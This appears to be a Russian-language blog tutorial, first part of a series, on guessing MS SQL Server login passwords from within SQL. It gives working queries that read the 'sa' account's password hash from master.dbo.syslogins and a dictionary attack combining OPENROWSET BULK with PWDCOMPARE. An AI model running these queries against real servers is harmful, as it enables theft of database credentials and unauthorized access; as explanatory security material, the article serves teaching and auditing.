
Из Википедии: Полный перебор (или метод «грубой силы», англ. brute force) — метод решения задачи путем перебора всех возможных вариантов. Сложность полного перебора зависит от количества всех возможных решений задачи. Если пространство решений очень велико, то полный перебор может не дать результатов в течение нескольких лет или даже столетий.
Предназначение каждой информационной системы – хранение и обработка самых разных данных, например, электронного документооборота, или систем управления контентом сайтов, или данных управления какими-то технологиями на производстве. А основой этих систем являются базы данных.
Поэтому понятно, что эта информация нуждается в сохранении конфиденциальности и безопасности данных. А что такое безопасность данных? Как ее обеспечить?
Общеизвестно, что это понятие комплексное. Для обеспечения безопасности используются пароль учетной записи или шифрование данных. Есть также и специальные технические меры для этой цели, но нужно проявлять особую осторожность там, где задействован человеческий фактор. Даже самая совершенная защита пасует перед ним.
Пароли – это первый барьер на пути к Вашей информации. Именно они становятся основной целью злоумышленника. Не стоит говорить о том, что большая ошибка – простой пароль, который легко подобрать, используя общеизвестные закономерности. Но и серьезные пароли подвергаются опасности быть определенными перебором всех возможных комбинаций символов.
Вот и меня заинтересовал вопрос: как можно подобрать пароль SQL-ной учетной записи, причем подобрать именно средствами SQL.
Все учётные SQL-пользователи хранятся в в БД master и получить их полный список можно с помощью простого запроса:
нас будут интересовать только следующие поля :
- name sysname) – имя пользователя
- password (nvarchar(128)) – это хэш пароля пользователя.
Посмотреть пароль можно запросом :
select cast(password as varbinary) From master.dbo.syslogins Where name ='sa'
select cast(password as varbinary) From master.dbo.syslogins Where name ='sa'
Имея хэш пароля, мы можем воспользоваться или радужными таблицами, или попробовать подобрать пароль по словарю, или воздействовать простым перебором.
Вот и рассмотрим последние два варианта.
Подбор пароля по словарю
Для сравнения пароля с имеющимся хэшем, имеется следующая функция PWDCOMPARE. Синтаксис у неё очень простой:
PWDCOMPARE ( 'clear_text_password', 'password_hash' [ , version ] )
PWDCOMPARE ( 'clear_text_password', 'password_hash' [ , version ] )
Соответственно, первый параметр – это собственно пароль, второй параметр – это хэш, а третий, не обязательный, - указатель формата хэша (нужен, только если подбирается хэш от MS SQL версии ниже 2000).
Функция возвращает 1, если пароль совпадает с хэшем, и, в противном случае, 0.
Соединяем наш запрос описанный ранее с этой функцией:
select name,password From master.dbo.syslogins Where name ='sa' AND PWDCOMPARE('пароль', [password])=1
select name,password From master.dbo.syslogins Where name ='sa' AND PWDCOMPARE('пароль', [password])=1
Данный запрос нам вернёт результат только в том случае, если наш пароль совпал с хэшем.
Прикручиваем перебор паролей из словаря :
SELECT 'SA', Pas FROM (SELECT * FROM OPENROWSET(BULK N'c:\dictionary.txt', FORMATFILE = 'c:\format.txt') AS dictionary ) p CROSS JOIN master.dbo.syslogins WHERE [password] IS NOT NULL AND name='SA' AND PWDCOMPARE(Pas, [password])=1
SELECT 'SA', Pas FROM (SELECT * FROM OPENROWSET(BULK N'c:\dictionary.txt', FORMATFILE = 'c:\format.txt') AS dictionary ) p CROSS JOIN master.dbo.syslogins WHERE [password] IS NOT NULL AND name='SA' AND PWDCOMPARE(Pas, [password])=1
В этом запросе мы открываем текстовый файл, перебираем все его строки и выводим только ту, для которой функция PWDCOPARE вернула 1.
Продолжение читайте в статье Брутфорс с помощью MSSQL-сервера. часть 2
А теперь, чтоб немножко отвлечься, нырнем в другие глубины:
Читайте также:



Комментарии